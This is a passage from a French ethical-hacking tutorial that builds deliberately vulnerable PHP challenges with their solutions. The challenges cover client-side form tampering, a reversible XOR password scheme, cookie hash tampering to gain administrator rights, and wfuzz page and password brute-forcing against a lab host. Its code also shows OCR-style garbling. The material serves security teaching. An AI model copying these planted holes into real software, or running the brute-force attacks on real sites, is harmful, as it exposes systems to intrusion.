Voil, nous disposons de tous les modules ncessaires. Pour que la racine de notre serveur
web pointe vers le dossier www du dossier personnel de lutilisateur web, il faut modifier le
fichier de configuration que nous avons copi. Voici ce quil devient :
<VirtualHost *:80>
ServerAdmin webmaster@localhost

DocumentRoot /home/web/www
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /home/web/www>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>

ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>

ErrorLog ${APACHE_LOG_DIR}/error.log

# Possible values include: debug, info, notice, warn,
# error, crit, alert, emerg.
LogLevel warn

CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Il faut prsent activer cette nouvelle configuration, dsactiver la configuration par dfaut et
recharger la configuration.
root@WEB1:/# ls /etc/apache2/sites-enabled/
000-default
root@WEB1:/# a2ensite conf1
Enabling site conf1.
Run /etc/init.d/apache2 reload to activate new configuration!
root@WEB1:/# ls /etc/apache2/sites-enabled/
000-default conf1
root@WEB1:/# a2dissite default
Site default disabled.
Run /etc/init.d/apache2 reload to activate new configuration!
root@WEB1:/# /etc/init.d/apache2 reload
Reloading web server config: apache2.
root@WEB1:/# ls /etc/apache2/sites-enabled/
conf1
root@WEB1:/#
Afin de vrifier que tout est bien configur, nous crons un fichier test.php affichant la
configuration du serveur dans le dossier www de lutilisateur web.
root@WEB1:/# su web
web@WEB1:/$ cd /home/web/www/
web@WEB1:~/www$ echo "<?php phpinfo(); ?>" > test.php
web@WEB1:~/www$
Nous visualisons alors dans un navigateur le rsultat.

Tout fonctionne parfaitement et nous allons pouvoir passer lcriture de failles de scurit
proprement parler. Nous allons les rpartir en plusieurs catgories :
Le passage des contrles ct client.
La dcouverte de pages par indexation automatique.
Lattaque de formulaires par dictionnaire.
Linjection SQL.
Le passage de CAPTCHA.
2. Des protections qui nen sont pas
a. Cration de la structure du site des preuves
Il faudrait en principe construire un site web complet et y insrer des failles. Mais nous
nallons pas commencer tout faire. Nous pouvons nous appuyer sur des modles libres et
open source. Vous en trouverez de trs nombreux sur : http://www.oswd.org/
Vous tes libre de choisir le modle qui vous plat. Ils sont en gnral tous construits de faon
similaire : une CSS et un fichier HTML exemple. Nous utiliserons pour les exemples le
modle TerraFirma. Pour copier les fichiers de larchive dans larborescence de notre serveur,
nous procdons de la manire suivante :
Nous tlchargeons larchive depuis le site sur notre machine locale.
Nous copions larchive directement de notre machine locale dans le dossier root de
notre serveur web en passant le serveur Proxmox.
Nous faisons une extraction de larchive dans le dossier personnel de lutilisateur web.
Nous faisons une copie de ce dossier dans le dossier www en le renommant epreuve1.
Sur la machine locale :
root@bt:~# scp Downloads/terrafirma.zip
root@192.168.1.34:/var/lib/vz/private/100/root
Sur le serveur web :
root@WEB1:/home/web# unzip /root/terrafirma.zip
Archive: /root/terrafirma.zip
inflating: terrafirma/default.css
creating: terrafirma/images/
inflating: terrafirma/images/a1.gif
inflating: terrafirma/images/a10.jpg
extracting: terrafirma/images/a16.gif
inflating: terrafirma/images/a18.gif
inflating: terrafirma/images/a22.gif
extracting: terrafirma/images/a26.gif
inflating: terrafirma/images/a33.gif
inflating: terrafirma/images/a36.gif
inflating: terrafirma/images/a38.gif
inflating: terrafirma/images/a41.gif
extracting: terrafirma/images/a47.gif
extracting: terrafirma/images/a50.gif
inflating: terrafirma/images/a8.gif
inflating: terrafirma/images/abg.gif
inflating: terrafirma/images/pic1.jpg
inflating: terrafirma/images/pic2.jpg
inflating: terrafirma/images/spacer.gif
inflating: terrafirma/images/upbg.gif
inflating: terrafirma/index.html
inflating: terrafirma/readme.txt
root@WEB1:/home/web# mv terrafirma/ www/epreuve1
Voici quoi ressemble ce modle :

Nous plaons lensemble du code dans un dossier epreuve1 avant de commencer sa
modification. Nous entrons dans ce dossier.
Si nous parcourons le code source HTML de la page ci-dessus, nous constatons quelle est
bien dcompose en plusieurs parties, chacune tant entre deux balises <div> et avec un style
appropri. Nous pouvons changer le contenu de la page pour ladapter une situation que
nous voulons simuler, lessentiel tant de pouvoir coder des failles de scurit facilement.
Nous choisissons de modifier de faon permanente le titre, le menu et le contenu secondaire,
correspondant la partie de la page dlimite par des balises <div> did
secondarycontent. Pour le contenu primaire dlimit par des balises <div> did
primarycontent, nous appelons une fonction PHP afin de modifier celui-ci en fonction dun
paramtre. Il faudra videmment renommer le fichier index.html en index.php. Nous crons
un fichier fonctions.php dans lequel nous implmenterons une fonction qui va changer
laffichage du centre de la page en fonction du paramtre qui lui est pass en argument. Cette
fonction devra aussi traiter les retours des formulaires. Il faudra ajouter un include de ce
fichier dans le fichier index.php. Nous modifions aussi le menu de la page en tenant compte
de cette organisation :
<div id="menu">
<ul>
<li><a href="index.php?m=1">Biographie</a></li>
<li><a href="index.php?m=2">Emacs</a></li>
<li><a href="index.php?m=3">Projet GNU</a></li>
<li><a href="index.php?m=4">Faits</a></li>
<li><a href="index.php?m=5">Inscription</a></li>
<li><a href="index.php?m=100">Aide</a></li>
</ul>
<div id="date">Le 15 avril 2013</div>
Nous avons dcid dans notre exemple dcrire des pages sur Richard STALLMAN.
Voici le fichier fonctions.php. Vous remplacerez le contenu avec ce que vous voulez, bien
videmment. Cette organisation est juste une suggestion et vous pouvez crer votre squelette
de site web comme bon vous semble. Mais dans la suite de lcriture des preuves, nous nous
appuierons sur la structure que nous vous avons prsente ici.
<?php
function page($type,$id)
{
if ( $type == "GET" )
{
//ici le traitement des retours GET
if ( $id == 1 )
{
// ***** page 1 *****
?>
<div class="header">
<h3>Biographie</h3>
<div class="date">20 avril
2013</div>
</div>
<div class="content">
<img src="images/pic1.jpg"
class="picA floatleft" alt="" />
<p>
Richard Matthew Stallman
(n Manhattan, le 16 mars 1953), connu aussi sous les initiales
rms, est un programmeur et militant du logiciel
</p>

</div>
<div class="footer">
<ul>
<li
class="readmore"><a href="#">Lire la suite</a></li>
</ul>
</div>

<?php
}
}
elseif ($type=="POST")
{
//ici le traitement des retours POST
echo " faire";
}
}
?>
Voici laspect que prend notre site en ayant aussi remplac quelques images.

b. Implmentation de la premire preuve
Passons lcriture de lpreuve. Dans un premier temps, nous crons le formulaire
dinscription qui prsente des limitations ct client.
<p>
<form action="index.php" id="form_rens" method="post">
<fieldset>
<legend> Fiche de renseignements</legend>
<p>
<label for="civilite">Civilit :
<select name="civilite" id="civilite">
<option value="mr" selected="selected">Monsieur</option>
<option value="mme">Madame</option>
<option value="melle">Mademoiselle</option>
</select>
</label>
</p>
<p><label for="nom">Nom : <input type="text" name="nom" id="nom"
maxlength="20"></label></p>
<p><label for="prenom">Prnom : <input type="text" name="prenom"
id="prenom" maxle$ngth="20"></label>$
<p><label for="email">Email : <input type="text" name="email"
id="email" maxlength="20"></label></p>
<input type="hidden" name="form" value="1">
<input type="hidden" name="droits" value="user">
<p><input type="submit" name="form1" value="Envoyer"></p>
</fieldset>
</form>
</p>
Nous plaons ce code dans notre fichier fonctions.php pour quil soit envoy lors de lappel
la page Inscription. Il faut ensuite traiter le retour du formulaire. Ce code doit vrifier que le
pirate arrive bien modifier les lments possibles du contrle de type select, dpasser la
limite du nombre de caractres des champs et changer la valeur du champ cach.
elseif ($type=="POST")
{
if ( $id==1)
{
if (strlen($_POST[nom])>20 AND
strlen($_POST[prenom])>20 AND strlen($_POST[email])>20 AND
$_POST[civilite]=="$
{
echo "Bravo, vous venez de passer
les contrles ct client.";
}
else
{
echo "Inscription valide
normalement";
}
}
}
}
Pour aider la personne qui teste ses comptences, vous pouvez fournir une aide. Le texte
pourrait tre :
Vous devez russir passer les limitations ct client. Pour cela, passez des champs de
grande longueur, passez votre civilit "zzz" et devenez administrateur.
La premire preuve est termine, passons la solution.
c. Solution de la premire preuve
Pour modifier les donnes dun formulaire la vole afin denvoyer des donnes inattendues,
il existe plusieurs solutions, par exemple, lutilisation dun proxy entre votre navigateur et le
serveur. Nous aurons loccasion dutiliser cette technique dans dautres preuves. Nous vous
proposons donc ici laltration des donnes laide dun module complmentaire de Firefox :
Tamper Data . Nous choisissons aussi dutiliser une distribution BackTrack comme
systme dexploitation pour lattaque de notre site web. En effet, celle-ci possde dj un
grand nombre doutils qui nous seront trs utiles et que nous naurons plus installer. Pour
installer Tamper Data, tlchargez celui-ci ladresse suivante :
https://addons.mozilla.org/fr/firefox/addon/tamper-data/
Vous voyez apparatre un nouvel item en bas du menu Outils de Firefox. Rendez-vous sur la
page du formulaire que nous devons affecter. Lancez Tamper Data.

Activez la capture des donnes en cliquant sur Start Tamper. Quand nous validons le
formulaire, une bote de dialogue souvre nous proposant de poster directement les donnes,
dannuler le post ou de passer les donnes Tamper. Cest cette dernire option que nous
choisissons.Voici lcran que nous obtenons.

Nous constatons que nous pouvons modifier toutes les donnes qui vont tre envoyes au
serveur, y compris les en-ttes. Nous remplissons les champs du formulaire comme prsent.
Nous cliquons sur OK, et voil, lpreuve est valide.
d. Implmentation de la deuxime preuve
Comme pour toutes les preuves, nous allons partir de lpreuve 1 et modifier les lments
ncessaires. Nous copions donc lintgralit du dossier epreuve1 dans epreuve2 :
root@WEB1:/home/web/www# cp -R epreuve1 epreuve2
Une forme de contrle qui est souvent utilise ct client, et qui ne prsente pas non plus un
gros intrt en termes de scurit, est lutilisation de JavaScript. Par contre, ce langage permet
une bonne amlioration de lergonomie des sites et il est devenu pratiquement impossible de
naviguer en dsactivant JavaScript.
Nous allons crer un script nomm crypt.js dans le dossier epreuve2 dont voici la partie la
plus intressante :
var str_crypt, str_dcrypt, frm, pwd;
function cryptage(chaine,clef)
{
var i,j,ch_crypt,clef_c;
ch_crypt="";
j=0;
for (i=0; i<chaine.length; i++)
{
clef_c=clef.charCodeAt(j);
ch_crypt+=String.fromCharCode(chaine.charCodeAt(i)clef_c);
j++;
if ( j == clef.length) {j=0;}
}
return ch_crypt;
}

function valform()
{
frm=document.forms[formjs1];
pwd=frm.elements[pass].value;
if (pwd.length<=1)
{
alert("Vous navez pas saisi un mot de passe assez long");
return false;
}
else
{
alert("chiffrement du mot de passe");

document.forms[formjs1].elements[pass].value=encodeBase64
(cryptage(pwd,hnc-nsc-2013));
return true;
}
}
Ce script doit aussi avoir deux autres fonctions qui sont encodeBase64 et decodeBase64.
Nous navons pas mis le code de ces fonctions pour des raisons de place. Vous pouvez trouver
beaucoup dexemples sur Internet pour raliser celles-ci, par exemple dans le code source de
la page suivante : http://decodebase64.com/
Il nous faut prsent modifier le fichier index.php pour inclure ce code JavaScript. Nous
ajoutons la ligne suivante dans la partie <head> :
<script language="javascript" type="text/javascript"
src="crypt.js"></script>
Modifions aussi le menu en remplaant Inscription par Identification .
La dernire tape est la modification du fichier fonctions.php. Commenons par le code qui
doit tre appel quand nous cliquons sur le lien Identification.
<form onsubmit="return valform()" action="index.php" method="POST"
name="formjs1" id="formjs1"> <fieldset>
<legend> Identifiez-vous</legend>
Votre identifiant : <input type="text" name="login"><br>
Votre mot de passe : <input type="password" name="pass">
<input type="hidden" name="form" value="2">
<input type="submit" id="valider" name="validr"
value="valider">
</fieldset>
</form>
Voici ensuite le code ncessaire la validation du formulaire :
echo "<h1>Identification</h1>";
$login=$_POST[login];
$mdp = base64_decode($_POST[pass]);
$clef="hnc-nsc-2013";
$ch_dcrypt="";
$j=0;
for ($i=0; $i<strlen($mdp); $i++)
{
$car = substr($mdp,$i,1);
$clef_c = substr($clef,$j,1);
$val_car = ord($car);
$val_clef_c = ord($clef_c);
$val = $val_car = $val_clef_c;
$ch_dcrypt = $ch_dcrypt.chr($val);
$j++;
if ( $j == strlen($clef)) {$j=0;}
}
if ($ch_dcrypt=="azerty" and $login=="user") {
echo "<p>Vous tes identifi comme utilisateur avec des
droits limits</p>";
}
elseif ($ch_dcrypt=="XdcRF5UD" and $login=="admin") {
echo "<h4>BRAVO! Vous tes identifi comme
administrateur.</h4>";
}
else {
echo "<p>Mauvaise identification.</p>";
}
Pour cette preuve, nous supposons que nous disposons dune capture des trames rseau nous
permettant davoir le contenu du champ pass qui est transmis par le formulaire au serveur.
Ce mot de passe est MaoAfyhGNmk=.
Il semble que celui-ci soit chiffr. Lobjectif est de remonter au vrai mot de passe. Ces
informations pourront tre donnes lutilisateur dans une page daide lui permettant davoir
des informations pour rsoudre lpreuve.
e. Solution de la deuxime preuve
Si nous inspectons le code de validation du formulaire, nous remarquons que celui-ci nenvoie
pas les donnes directement mais passe par lappel dune fonction JavaScript nomme
valform().
Il faut alors comprendre ce que fait cette fonction. Elle rcupre dans un premier temps les
champs du formulaire. Ensuite, la longueur du champ pass est vrifie et si elle est
suprieure 1, le mot de passe est transmis en POST au serveur en passant par deux fonctions
auparavant :
La fonction encodeBase64(), qui fait ce quelle indique, un encodage base64.
La fonction cryptage(), qui prend en arguments le mot de passe et un autre champ.
Il est alors ncessaire de sintresser de prs cette dernire fonction. Nous voyons en
tudiant le code quelle ralise un chiffrement classique avec un OU exclusif en faisant
une rotation circulaire sur le deuxime paramtre, qui est donc la cl de chiffrement. Ce type
de chiffrement est rversible et nous pouvons donc le repasser dans la mme fonction pour le
dchiffrer.
Voici les oprations que nous allons faire avec le mot de passe chiffr :
Dcoder la valeur encode en base64.
Dchiffrer avec la mme cl de chiffrement que dans le script JavaScript.
Ralisons ces oprations en PHP CLI. Cest un point intressant de PHP, celui-ci peut aussi
sexcuter en ligne de commande. Crons le fichier decrypt.php suivant :
<?php
$mdp = base64_decode(MAoAfyhGNmk=);
$clef="hnc-nsc-2013";
$ch_dcrypt="";
$j=0;
for ($i=0; $i<strlen($mdp); $i++)
{
$car = substr($mdp,$i,1);
$clef_c = substr($clef,$j,1);
$val_car = ord($car);
$val_clef_c = ord($clef_c);
$val = $val_car = $val_clef_c;
$ch_dcrypt = $ch_dcrypt.chr($val);
$j++;
if ( $j == strlen($clef)) {$j=0;}
}
echo $ch_dcrypt."\n";
?>
Lanons le script en ligne de commande.
root@WEB1:/home/web/www# php5 decrypt.php
XdcRF5UD
Voil, nous obtenons le mot de passe dchiffr.
f. Implmentation de la troisime preuve
Dans un premier temps, copions le code de lpreuve 1 dans un dossier epreuve3.
root@WEB1:/home/web/www# cp -R epreuve1 epreuve3
Nous ajoutons la premire ligne du fichier index.php le code suivant afin de passer en mode
session :
<?php session_start(); ?>
Cette preuve met en place un formulaire didentification qui fait appel des cookies. Voici le
code ajouter dans le fichier fonctions.php lemplacement o vous souhaitez afficher le
formulaire.
// ***** page 5 identification *****
if (isset($_COOKIE[user])) {
if
( $_COOKIE[user]=="f4a77acf03e969bbb2b99fee35d137fb") {
echo "<h2>Bonjour Franck, bienvenue sur votre
compte.</h2>";
echo "<br />Pas de nouvelles informations pour le
moment.";
if (isset($_COOKIE[d]) and
$_COOKIE[d]==1d8141b215f74524ddb3a4a21d55cc9c2141bd0c) echo
"<p>Bravo, vous venez de passer administrateur, votre clef est :
<strong>aZD4jVuu1N</strong></p>";
}
elseif($_COOKIE[user]=="4ffe35db90d94c6041fb8ddf7b44df29")
{
echo "<h2>Bonjour Robert, bienvenue sur votre
compte.</h2>";
echo "<br />Pas de nouvelles informations pour le
moment.";
if (isset($_COOKIE[d]) and
$_COOKIE[d]==1d8141b215f74524ddb3a4a21d55cc9c2141bd0c) echo
"<p>Bravo, vous venez de passer administrateur, votre clef est :
<strong>aZD4jVuu1N</strong></p>";
}
else {
echo "<h2>Utilisateur inconnu!</h2>";
}
}
else {
?>
<div class="header">
<h3>Identification</h3>
<div class="date">20 avril 2013</div>
</div>
<div class="content">
<form action="index.php" name="ident" id="ident"
method="post">
<fieldset>
<legend>Identifiez-vous</legend>
<p><label for="Identifiant">Identifiant :
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="login"
id="login" maxlength="20"></label></p>
<p><label for="Mot de passe">Mot de passe : <input
type="password" name="passwd" id="passwd"
maxlength="20"></label></p>
<input type="hidden" name="form" value="1">
<p><input type="submit" name="form1" value="Valider"></p>
</fieldset>
</p>
</div>
<?php
}
Il faut encore ajouter en fin de fichier le code qui fait la vrification de lauthentification de
lutilisateur.
//*** validation des post ***
elseif ($type=="POST")
{
if ( $id==1)
{
if ($_POST[login]=="Franck" and
$_POST[passwd]=="Zd34s5") {
setcookie("user","f4a77acf03e969bbb2b99fee35d137fb");
setcookie("d","0b20cd7f98fde6a0c65a6ff68ffdfb627f32d176");
echo "<h1>Validation didentification</h1>";
echo " <h2>Bonjour Franck, bienvenue sur votre compte.</h2>";
echo "<br />Pas de nouvelles informations pour le moment.";
}
}
Lpreuve est en place. Il faudra quand mme indiquer lauditeur ou au logiciel daudit
quun compte existe avec comme nom dutilisateur Franck et comme mot de passe
Zd34s5 , et que lobjectif est de passer administrateur du site. Passons la solution.
g. Solution de la troisime preuve
Nous commenons par analyser le comportement du site. Nous nous rendons sur la page o se
trouve le formulaire didentification et nous saisissons le compte qui nous a t donn. Si
nous cherchons les cookies qui nous ont t envoys, nous en trouvons 3. Cette analyse des
cookies peut tre facilement faite avec une extension Firefox trs intressante : Firebug. Vous
la trouverez cette adresse : https://addons.mozilla.org/fr/firefox/addon/firebug/
Aprs linstallation, un petit insecte apparat en haut droite dans votre navigateur. Si vous
cliquez dessus, Firebug sactive ouvrant une zone en bas du navigateur. Celle-ci prsente un
menu dont un item est Cookies. Voici ce que nous obtenons en cliquant sur ce menu :

Nous voyons que le site nous a envoy trois cookies : un de session et deux autres (user et d).
Nous remarquons que ceux-ci ont des longueurs diffrentes et quils ressemblent des
HASH. En effet, ils sont uniquement composs de chiffres et de lettres. Le cookie user a
une longueur de 32 caractres faisant penser un HASH-MD5 et le cookie d une longueur
de 40 caractres correspondant un HASH-SHA1. Nous allons tenter de remonter au contenu
en clair quils pourraient indiquer. Il existe une multitude de sites avec des dictionnaires
immenses implments permettant de remonter au message en clair partir de son HASH, par
exemple : http://www.stringfunction.com/sha1-decrypter.html
Nous avons trs vite avec ces outils en ligne linformation que le cookie d contient le
HASH-SHA1 de Utilisateur et le cookie user , le HASH-MD5 de Franck .
Visiblement, ces deux cookies mmorisent le nom dutilisateur et les droits de celui-ci. Nous
calculons le HASH-SHA1 de Administrateur avec la commande suivante :
root@WEB1:/home/web/www# echo -n "Administrateur" | openssl dgst
-sha1
1d8141b215f74524ddb3a4a21d55cc9c2141bd0c
root@WEB1:/home/web/www#
Nous ditons le cookie d laide de Firebug en faisant un clic droit dessus et changeons sa
valeur avec la nouvelle valeur que nous venons de calculer. Nous appelons de nouveau la
page Identification et constatons que nous sommes passs administrateurs.
Nous avons vu ici limportance de ne pas stocker dinformations sensibles utilises par le
serveur pour engager des actions. Les cookies doivent tre utiliss avec prudence. Ceux-ci
tant du ct client, il est facile den modifier le contenu.
3. Des pages pas vraiment caches
a. Implmentation de la quatrime preuve
Commenons par copier, comme prcdemment, lpreuve 1 avec tous ses dossiers et fichiers
dans un dossier epreuve4.
root@WEB1:/home/web/www# cp -R epreuve1 epreuve4
Limplmentation de cette preuve est assez simple : il faut juste ajouter un test dans le fichier
fonctions.php avec un ID qui nest pas prsent dans le menu. Nous ajoutons dans la fonction
page, en dessous du test GET, le code suivant :
elseif ( $id==184 )
{
// ***** page 184 *****
?>
<div class="header">
<h3>Bravo</h3>
<div class="date">20 avril 2013</div>
</div>
<div class="content">
<p>Vous avez trouv la bonne page. Votre clef est :
A2dfT3BBn2e</p>
</div>
<div class="footer">
<ul>
<li class="readmore"><a href="#">Lire la suite</a></li>
</ul>
</div>
<?php
}
Il faudra indiquer comme indice que le but est de trouver une page qui nest pas visible par un
lien dans un menu.
b. Solution de la quatrime preuve
Si nous observons la constitution de lURL en navigant sur diffrentes pages, nous
remarquons quun paramtre page est pass. Celui-ci est de nature numrique.

Nous allons tenter de parcourir en automatique les pages en faisant changer cet ID de page de
faon incrmentale. Nous pourrions crire un script Python ou PHP, mais comme nous
sommes sur BackTrack, nous disposons dun outil qui le fait : wfuzz.
Nous nous rendons dans le dossier adquat de linstallation BackTrack et lanons wfuzz sans
argument afin dobtenir des informations sur les options possibles :
root@bt:/pentest/web/wfuzz# python wfuzz.py

********************************************************
* Wfuzz 2.0 - The Web Bruteforcer *
********************************************************

Usage: wfuzz.py [options] <url>

Options:
-c : Output with colors
-v : Verbose information
-o printer : Output format by stderr
-p addr : use Proxy (ip:port or ip:port-ip:port-
ip:port)
-x type : use SOCK proxy (SOCKS4,SOCKS5)
-t N : Specify the number of threads (20 default)
-s N : Specify time delay between requests
(0 default)

-e <type> : List of available
encodings/payloads/iterators/printers
-R depth : Recursive path discovery
-I : Use HTTP HEAD instead of GET method (No
HTML body responses).
--follow : Follow redirections

-m iterator : Specify iterator (product by default)
-z payload : Specify payload
(type,parameters,encoding)
-V alltype : All parameters bruteforcing
(allvars and allpost). No need for FUZZ keyword.

-X : Payload within HTTP methods (ex: "FUZZ
HTTP/1.0"). No need for FUZZ keyword.
-b cookie : Specify a cookie for the requests
-d postdata : Use post data (ex: "id=FUZZ&catalogue=1")
-H headers : Use headers
(ex:"Host:www.mysite.com,Cookie:id=1312321&user=FUZZ")

--basic/ntlm/digest auth : in format "user:pass" or "FUZZ:FUZZ"
or "domain\FUZ2Z:FUZZ"

--hc/hl/hw/hh N[,N]+ : Hide resposnes with the
specified[s] code/lines/words/chars (Use BBB for taking values
from baseline)
--hs regex : Hide responses with the specified regex
within the response

Keyword: FUZZ,FUZ2Z wherever you put these words wfuzz will
replace them by the payload selected.

Example: - wfuzz.py -c -z file,commons.txt --hc 404 -o html
http://www.site.com/FUZZ 2> res.html
- wfuzz.py -c -z file,users.txt -z file,pass.txt --hc 404
http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
- wfuzz.py -c -z range,1-10 --hc=BBB
http://www.site.com/FUZZ{something}

More examples in the README.

root@bt:/pentest/web/wfuzz#
Loption qui va nous intresser est -z range,d-f. Effectuons un premier essai :
root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z range,1-10
--hc=404 http://192.168.2.50/epreuve4/index.php?page=FUZZ
/pentest/web/wfuzz/iterations.py:17: DeprecationWarning:
object.__init__() takes no parameters
itertools.product.__init__(self, *i)

********************************************************
* Wfuzz 2.0 - The Web Bruteforcer *
********************************************************

Target: http://192.168.2.50/epreuve3/index.php?page=FUZZ
Payload type: range,1-10

Total requests: 10
==================================================================
ID Response Lines Word Chars Request
==================================================================

00001: C=200 109 L 296 W 3507 Ch " - 1"
00002: C=200 112 L 459 W 4702 Ch " - 2"
00003: C=200 115 L 685 W 6142 Ch " - 3"
00004: C=200 92 L 160 W 2105 Ch " - 5"
00005: C=200 111 L 267 W 3374 Ch " - 4"
00006: C=200 92 L 160 W 2105 Ch " - 6"
00007: C=200 92 L 160 W 2105 Ch " - 8"
00008: C=200 92 L 160 W 2105 Ch " - 7"
00010: C=200 92 L 160 W 2105 Ch " - 10"
00009: C=200 92 L 160 W 2105 Ch " - 9"
Nous observons que lorsque nous appelons une page qui nexiste pas, nous avons un retour
faisant 2 105 caractres. Nous allons donc masquer cette rponse pour allger laffichage et
tendre la plage balaye.
root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z range,1-300
--hc=404 --hh=2105 http://192.168.2.50/epreuve4/index.php?page=FUZZ
/pentest/web/wfuzz/iterations.py:17: DeprecationWarning:
object.__init__() takes no parameters
itertools.product.__init__(self, *i)

********************************************************
* Wfuzz 2.0 - The Web Bruteforcer *
********************************************************

Target: http://192.168.2.50/epreuve4/index.php?page=FUZZ
Payload type: range,1-300

Total requests: 300
==================================================================
ID Response Lines Word Chars Request
==================================================================

00001: C=200 112 L 459 W 4702 Ch " - 2"
00002: C=200 109 L 296 W 3507 Ch " - 1"
00003: C=200 115 L 685 W 6142 Ch " - 3"
00004: C=200 111 L 267 W 3374 Ch " - 4"
00102: C=200 105 L 195 W 2852 Ch " - 100"
00180: C=200 105 L 192 W 2808 Ch " - 184"


root@bt:/pentest/web/wfuzz#
Voil, nous venons de dcouvrir une page dont lID est 184 qui existe et nest pas rfrence
dans les menus.
4. Mieux vaut avoir un mot de passe fort
a. Implmentation de la cinquime preuve
Comme pour toutes les autres preuves, nous copions arborescence du dossier de lpreuve 1
dans un dossier epreuve5. Nous plaons dans le fichier fonctions.php une page qui construit
un formulaire didentification.
elseif ( $id==5 )
{
// ***** page 5 identification *****
?>
<div class="header">
<h3>Identification</h3>
<div class="date">20 avril 2013</div>
</div>
<div class="content">
</p>
<form action="index.php" name="ident" id="ident" method="post">
<fieldset>
<legend>Identifiez-vous</legend>
<p><label for="Identifiant">Identifiant :
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="login"
id="login" maxlength="20"></label></p>
<p><label for="Mot de passe">Mot de passe : <input
type="password" name="passwd" id="passwd"
maxlength="20"></label></p>
<input type="hidden" name="form" value="1">
<p><input type="submit" name="form1"
value="Valider"></p>
</fieldset>
</p>
</div>
<?php
}
Il faut ensuite ajouter le test de validation de la bonne identit avec le bon mot de passe.
elseif ($type=="POST")
{
if ( $id==1)
{
if ($_POST[login]=="admin" and
$_POST[passwd]=="cynthia") {
echo "<h3>Validation didentification</h3>";
echo "<p>Bravo votre clef est Dc7854PxF6</p>";
}
else {
echo "<p>Erreur didentification</p>";
}
}

}
Le but de cette preuve est de russir sidentifier en utilisant une attaque par dictionnaire sur
le formulaire.
b. Solution de la cinquime preuve
Dans cette preuve, nous nous trouvons face un formulaire. Nous savons quil existe un
compte administrateur, dont gnralement le nom dutilisateur est admin ou
administrateur .

Nous voulons tester si cet administrateur na pas utilis un mot de passe simple. Pour cela,
nous allons faire une attaque par dictionnaire. Mais avant, il faut bien connatre les champs de
notre formulaire. Nous pouvons bien entendu lire le code source de celui-ci, mais il existe des
outils qui le font pour nous et nous affichent lorganisation des champs de faon plus lisible.
Lextension Web Developer pour Firefox nous offre la possibilit dafficher les dtails des
formulaires. Vous pouvez trouver ce module ici :
https://addons.mozilla.org/fr/firefox/addon/web-developer/
Aprs installation, une nouvelle barre doutils est prsente. Nous cliquons sur View form
information du menu Forms et trouvons les informations suivantes :

Pour conduire notre attaque, nous allons encore utiliser wfuzz. Voici la ligne de commande
utilise :
root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z
file,wordlist/general/medium.txt --hc 404 -d
"login=admi&form=1&passwd=FUZZ"
http://192.168.2.50/epreuve5/index.php
/pentest/web/wfuzz/iterations.py:17: DeprecationWarning:
object.__init__() takes no parameters
itertools.product.__init__(self, *i)

********************************************************
* Wfuzz 2.0 - The Web Bruteforcer *
********************************************************

Target: http://192.168.2.50/epreuve5/index.php
Payload type: file,wordlist/general/medium.txt

Total requests: 1660
==================================================================
ID Response Lines Word Chars Request
==================================================================

00001: C=200 94 L 168 W 2272 Ch " - 00"
00002: C=200 94 L 168 W 2272 Ch " - 0"
00003: C=200 94 L 168 W 2272 Ch " - 01"
00004: C=200 94 L 168 W 2272 Ch " - 03"
00005: C=200 94 L 168 W 2272 Ch " - 02"
00006: C=200 94 L 168 W 2272 Ch " - 1"
00007: C=200 94 L 168 W 2272 Ch " - 10"
00008: C=200 94 L 168 W 2272 Ch " - 100"
00010: C=200 94 L 168 W 2272 Ch " - 20"
00011: C=200 94 L 168 W 2272 Ch " - 1000"
00012: C=200 94 L 168 W 2272 Ch " - 200"
00009: C=200 94 L 168 W 2272 Ch " - 123"
Nous voyons dfiler toutes les requtes POST avec tous les mots de passe tests. Mais
comment savoir celui qui est le bon ? Cest probablement celui qui va renvoyer une page
diffrente, donc une page qui ne comporte pas 2 272 caractres. Nous reprenons notre ligne de
commande en cachant les retours 2 272 caractres.
root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z
file,wordlist/general/medium.txt --hc 404 --hh 2272 -d
"login=admin&form=1&passwd=FUZZ"
http://192.168.2.50/epreuve7/index.php
/pentest/web/wfuzz/iterations.py:17: DeprecationWarning:
object.__init__() takes no parameters
itertools.product.__init__(self, *i)

********************************************************
* Wfuzz 2.0 - The Web Bruteforcer *
********************************************************

Target: http://192.168.2.50/epreuve7/index.php
Payload type: file,wordlist/general/medium.txt

Total requests: 1660
==================================================================
ID Response Lines Word Chars Request
==================================================================

00414: C=200 94 L 172 W 2316 Ch " - cynthia"

root@bt:/pentest/web/wfuzz#
Et voici notre mot de passe dcouvert.
5. Laccs aux bases de donnes
a. Implmentation de la sixime preuve
Pour cette preuve, nous allons avoir besoin de crer une base de donnes. Celle-ci va
contenir des comptes utilisateurs et une information, la cl de lpreuve, dans une table. Cette
dernire information ne doit normalement pas tre accessible lutilisateur. La trouver sera le
but de lpreuve.
Commenons par crer la base (livres), les tables (livres et clef_epreuve) et insrer des
donnes. Voici les commandes SQL qui vous permettront de la reproduire.
CREATE TABLE `clef_epreuve` (
`clef` varchar(20) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;


INSERT INTO `clef_epreuve` VALUES (As81Cfoab4);

CREATE TABLE `livres` (
`ref` int(11) DEFAULT NULL,
`titre` varchar(30) DEFAULT NULL,
`auteur` varchar(30) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

INSERT INTO `livres` VALUES (342, PHP5,Damien Seguy,Philippe
Gamache),(426,Ethical Hacking,ACISSI),(532,seaux,Andrew
Tanenbaum);
Il est ncessaire dans ce type dpreuve de bien limiter les droits de lutilisateur qui sera
utilis par les scripts PHP. Ici, un droit de lecture des donnes de la base est suffisant. Entrons
dans linterprteur MySQL et crons cet utilisateur :
mysql> GRANT select ON livres.* TO ep6@localhost IDENTIFIED BY
acissi!2011;
Passons la modification des scripts PHP. Comme pour toutes les autres preuves, nous
avons copi la structure de dossier de lpreuve 1 dans le dossier epreuve6.
